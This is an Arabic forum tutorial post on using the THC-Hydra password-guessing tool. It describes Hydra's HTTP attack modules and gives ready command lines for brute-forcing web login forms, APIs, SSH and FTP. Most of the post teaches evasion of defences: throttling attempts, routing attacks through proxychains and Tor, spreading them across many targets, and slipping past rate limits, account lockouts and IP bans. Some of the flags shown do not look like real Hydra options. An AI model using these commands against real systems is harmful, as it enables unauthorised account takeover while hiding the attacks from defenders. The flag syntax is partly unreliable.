مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة GET لإرسال بيانات النموذج عبر عنوان URL. تعمل بنفس بنية http-post-form، لكنها مناسبة لواجهات تسجيل دخول أبسط.
http-head
استخدام طلب HTTP HEAD لاستهداف صفحات معينة، مما يوفر سرعة أعلى لأنه لا يجلب محتوى الصفحة بالكامل.
http-form-get
مشابه لـ http-get-form ولكن مخصص لاستهداف النماذج التي تستخدم الحقول بشكل ديناميكي أو تحتوي على استعلامات أكثر تعقيدًا في GET.
http-form-post
مشابه لـ http-post-form ولكن يُستخدم للسيناريوهات الأكثر تعقيدًا مثل الحقول الإضافية (مثل رموز التحقق أو حقول مخفية).
http-proxy
استخدام بروكسي HTTP لتمرير الهجمات عبره، مناسب لتجاوز القيود أو تخطي التتبع.
http-proxy-url
استهداف خادم HTTP باستخدام بروكسي محدد يدويًا مع خيار URL.
http-proxy-auth
مهاجمة خادم HTTP عبر بروكسي مع توفير بيانات اعتماد للبروكسي نفسه (اسم مستخدم وكلمة مرور).
https-post-form
نسخة مشفرة (TLS/SSL) من http-post-form تستهدف صفحات تسجيل الدخول التي تعمل على HTTPS.
https-get-form
نسخة مشفرة من http-get-form لمهاجمة النماذج التي تستخدم HTTPS لإرسال البيانات عبر عنوان URL.
http-basic-auth
مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة الأساسية (Basic Authentication) في HTTP، حيث يتم إرسال بيانات الاعتماد في عنوان الطلب.
http-digest-auth
مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة Digest Authentication، وهي أكثر أمانًا من Basic Auth، حيث يتم تجزئة بيانات الاعتماد.
http-form-basic
استهداف النماذج التي تستخدم المصادقة الأساسية مع طلب GET أو POST.
http-form-digest
استهداف النماذج التي تعتمد على مصادقة Digest مع طلبات GET أو POST.
http-ntlm
مهاجمة صفحات تسجيل الدخول التي تستخدم بروتوكول NTLM Authentication (غالبًا في بيئات Windows).
http-form-ntlm
مخصص لاستهداف نماذج تسجيل الدخول مع NTLM عبر HTTP.
http-jwt
مهاجمة صفحات تسجيل الدخول التي تستخدم رموز JWT (JSON Web Tokens) للتحقق من المستخدمين.
http-cookie
استهداف صفحات تسجيل الدخول مع إرسال ملف تعريف ارتباط (Cookie) محدد يدويًا مع كل طلب.
http-header
إرسال رؤوس HTTP مخصصة مع كل طلب (مثل "User-Agent" أو "Authorization") لاستهداف صفحات تحتاج إلى تفاصيل إضافية.
http-form-cookie
إرسال ملف تعريف ارتباط مخصص مع طلبات النموذج (GET أو POST).
http-form-header
إرسال رؤوس HTTP مخصصة مع طلبات النموذج (GET أو POST).
http-form-json
مهاجمة صفحات تسجيل الدخول التي ترسل بيانات المستخدمين بصيغة JSON عبر طلبات POST أو GET.
http-rest
مهاجمة واجهات RESTful APIs التي تستخدم HTTP POST/GET/PUT/DELETE مع بيانات اعتماد يتم تمريرها كـ JSON أو حقول مباشرة.
تفاصيل إضافية لكل حالة :
1. http-post-form

كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


يهاجم صفحة تسجيل دخول ترسل الحقول username وpassword عبر POST.

2. http-get-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-get-form "/login?username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


يهاجم نموذج تسجيل دخول يرسل البيانات في URL.

3. http-cookie
كود:
hydra -L users.txt -P passwords.txt -m "Cookie: sessionid=12345" target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


استخدام ملف تعريف ارتباط صالح للهجوم على جلسة تسجيل دخول نشطة.

4. http-jwt
كود:
hydra -L users.txt -P passwords.txt -m "Authorization: Bearer <JWT_TOKEN>" target-ip http-post-form "/api/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


مهاجمة واجهة API تتطلب JWT.

5. http-header
كود:
hydra -L users.txt -P passwords.txt -m "User-Agent: Mozilla/5.0" target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


إرسال رأس مخصص مثل User-Agent لتخطي الحظر.

6. http-rest
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/api/login:{"username":"^USER^","password":"^PASS^"}:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


استهداف API RESTful تستخدم JSON.

كيفية تحديد النوع المناسب؟

  • استخدم أدوات مثل Burp Suite أو Fiddler لفحص الطلبات وتحديد الطريقة المستخدمة (GET/POST) وهيكل البيانات (نص عادي، JSON، إلخ).​
  • استنادًا إلى نوع المصادقة أو البيانات المرسلة، اختر الخيار المناسب في Hydra.​

تخطي جدران الحماية باستخدام Hydra
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
الأمر
التقنية المستخدمة لتخطي جدران الحماية
hydra -L users.txt -P passwords.txt -s port -t 16 -w 30 target-ip protocol
تقليل الجلسات الموازية (-t 16) وزيادة المهلة (-w 30) لتقليل النشاط المريب على الشبكة الذي قد يتم اكتشافه من قبل جدران الحماية.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 target-ip protocol
استخدام ميزة إنشاء كلمات مرور مخصصة ديناميكيًا (-x) لتجنب القوائم الثابتة التي قد تُكتشف بسهولة.
hydra -L users.txt -P passwords.txt -s port -I -f -t 4 -w 10 -z target-ip protocol
تقليل السرعة باستخدام الخيار -z لجعل الهجوم يبدو أقل نشاطًا.
proxychains hydra -L users.txt -P passwords.txt target-ip protocol
تمرير جميع طلبات Hydra عبر بروكسي باستخدام أداة proxychains لتخطي قيود الوصول أو الحظر بناءً على عنوان IP.
torify hydra -L users.txt -P passwords.txt target-ip protocol
استخدام شبكة Tor عبر torify لتجاوز الحظر الجغرافي أو تصفية عناوين IP.
hydra -L users.txt -P passwords.txt -s port -R -w 20 -t 8 -e nsr -o results.txt target-ip protocol
الاستفادة من استئناف الهجوم بعد التوقف (-R) لتجنب الكشف الناتج عن زيادة النشاط المفاجئ عند بدء الهجوم مجددًا.
hydra -L users.txt -P passwords.txt -s port -S -d target-ip protocol
تمكين وضع التصحيح (-d) لرؤية الأخطاء والتأكد من أن الهجوم يعمل بشكل صحيح أثناء تجنب التنبيهات غير الضرورية.
hydra -L users.txt -P passwords.txt -s port -p proxy-list.txt -M targets.txt protocol
استخدام قائمة بروكسيات (proxy-list.txt) لاستهداف عدة أهداف عبر ملفات متعددة (-M targets.txt) مع تقليل احتمالية الحظر.
hydra -L users.txt -P passwords.txt -t 1 -w 60 target-ip protocol
تشغيل جلسة واحدة فقط في كل مرة (-t 1) مع مهلة طويلة (-w 60) لجعل الهجوم بطيئًا جدًا وتجنب الحظر.
hydra -L users.txt -P passwords.txt -S -s port -t 64 -w 5 -vV target-ip protocol
تشغيل عدد كبير من الجلسات الموازية (-t 64) مع مهلة صغيرة جدًا (-w 5) لزيادة سرعة الهجوم مع استخدام TLS لتجنب الحظر عن طريق تحليل النصوص غير المشفرة.
hydra -L users.txt -P passwords.txt target-ip protocol -x 6:12:Aa1! -t 4 -w 15
إنشاء كلمات مرور ديناميكية تتضمن رموزًا خاصة لتجنب الحظر الذي يعتمد على أنماط الكلمات.
hydra -L users.txt -P passwords.txt -t 8 -W 3 target-ip protocol
استخدام خيار -W لتحديد عدد المحاولات قبل التوقف لفترة لتجنب الكشف عن الهجمات العنيفة.
hydra -L users.txt -P passwords.txt -m proxychains target-ip protocol
دمج Hydra مع proxychains لاستخدام عناوين IP ديناميكية متعددة لتخطي القوائم السوداء أو حدود معدل الطلب.
hydra -L users.txt -P passwords.txt -o results.txt -s port -w 10 -f -M targets.txt protocol
حفظ النتائج في ملف أثناء استهداف عدة عناوين لتوزيع الهجوم على أهداف متعددة، ما يصعب عملية التتبع.
hydra -L users.txt -P passwords.txt -s port -t 4 -w 30 -z -x 5:8:Aa1 target-ip protocol
جعل الهجوم بطيئًا للغاية باستخدام الخيارات -z و-w مع كلمات مرور ديناميكية لتجنب اكتشاف الأنماط الثابتة.
hydra -L users.txt -P passwords.txt -S -I -e nsr -t 16 -w 10 -M targets.txt protocol
الجمع بين خيارات متقدمة مثل استئناف الهجوم (-I) واختبار كلمات المرور الديناميكية وتوزيع الأهداف باستخدام ملفات متعددة.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 -z target-ip protocol
تمكين الوضع الصامت وتقليل سرعة الهجوم مع كلمات مرور ديناميكية.

الحمايات الشائعة التي ستواجهها أثناء استخدام Hydra

1 - حدود المحاولات ( Rate Limiting )
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب

ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
كود:
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - استخدام عناوين IP متعددة كاستخدام VPN أو Proxy أو Tor بعد كل عدد معين من المحاولات :
كود:
hydra -l admin -P passwords.txt -t 4 -o results.txt -s 22 -e ns -proxy socks5://127.0.0.1:9050 ssh://192.168.1.10[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


حمايات FTP الشائعة :
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
كود:
hydra -l user -P passwords.txt -t 1 ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - إنهاء الهجوم بمجرد العثور على الـcreds الصحيحة.
كود:
hydra -l user -P passwords.txt -f ftp://192.168.1.20[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


حمايات الويب الشائعة :
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
كود:
hydra -l admin -P passwords.txt -s 8080 -t 3 -o results.txt -I http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login" -proxy socks5://127.0.0.1:9050[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


2 - تخطي الحمايات الديناميكية باستخدام التأخير (Delay)
كود:
hydra -l admin -P passwords.txt -w 5 http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


3 - بعض المواقع تعتمد على هيدرز مثل User-Agent:
كود:
hydra -l admin -P passwords.txt -m /login -H "User-Agent: CustomAgent" http-get://example.com[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


4 - التبديل بين المستخدمين (Mutual Targeting):
كود:
hydra -L users.txt -P passwords.txt http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


نصائح لتخطي جدران الحماية أثناء استخدام Hydra :
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي

والان!


هل كنت تعلم أن Hydra تمتلك واجهة رسومية ؟!


مشاهدة المرفق 15797

الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك 🤡


مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره
إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجية
جزاك الله خيراً و نفع بك الأمة
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى